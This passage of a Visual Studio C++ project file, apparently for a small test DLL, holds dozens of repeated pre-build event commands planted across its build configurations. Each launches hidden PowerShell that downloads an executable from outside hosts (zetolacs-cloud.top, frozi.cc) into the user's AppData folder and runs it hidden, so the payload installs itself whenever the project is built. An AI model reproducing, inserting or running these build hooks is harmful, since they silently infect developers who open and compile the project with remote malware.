<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Mzrj0OStxgmMYRqEMhLCW012.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=otKcaZlhkQQAcRi8ojLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=upAa8nppMvK3ggd1dFLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ld7ClokRBD8oBjLLqpLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=E2IkWCtEES17n6Lv5vLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4Suvv0GFZDE3St59PULCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MHelDAwX4pDQEI4aRiPRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=5m2aR5nRFUPBIwOVv8PRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=aqFVrRXATt0e1WbhtSPRE002.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vuMxXgveUWfr4HYswLPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=CuqkLdD8r2LVIbuRFXPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=uqtg7OzSflP3gjdbMEPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vPBfvSYraXianQGEPKPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=xd3Ihnad6TB831fHToPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=G4l2Ka2AbzQFFzCl42PRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=5kbdScpPw4qbif5TtEPRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=515k8EkMr3fPBIwIL5PRE008.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;TESTDLLMESSAGEBOX_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=JOSBf2fDaTKZmCIop7LMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4QfJE5FLNQSltzpZdILCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MbTeY4wTlnhlVbNmIDLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=0GTls3ZELXLnKLrXDsLCW010.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Mzrj0OStxgmMYRqEMhLCW012.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=otKcaZlhkQQAcRi8ojLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=upAa8nppMvK3ggd1dFLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ld7ClokRBD8oBjLLqpLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=E2IkWCtEES17n6Lv5vLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4Suvv0GFZDE3St59PULCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MHelDAwX4pDQEI4aRiPRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=5m2aR5nRFUPBIwOVv8PRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=aqFVrRXATt0e1WbhtSPRE002.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vuMxXgveUWfr4HYswLPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=CuqkLdD8r2LVIbuRFXPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=uqtg7OzSflP3gjdbMEPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vPBfvSYraXianQGEPKPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=xd3Ihnad6TB831fHToPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=G4l2Ka2AbzQFFzCl42PRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=5kbdScpPw4qbif5TtEPRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=515k8EkMr3fPBIwIL5PRE008.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;TESTDLLMESSAGEBOX_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=JOSBf2fDaTKZmCIop7LMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4QfJE5FLNQSltzpZdILCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MbTeY4wTlnhlVbNmIDLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=0GTls3ZELXLnKLrXDsLCW010.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Mzrj0OStxgmMYRqEMhLCW012.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=otKcaZlhkQQAcRi8ojLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=upAa8nppMvK3ggd1dFLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ld7ClokRBD8oBjLLqpLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=E2IkWCtEES17n6Lv5vLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4Suvv0GFZDE3St59PULCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MHelDAwX4pDQEI4aRiPRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=5m2aR5nRFUPBIwOVv8PRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
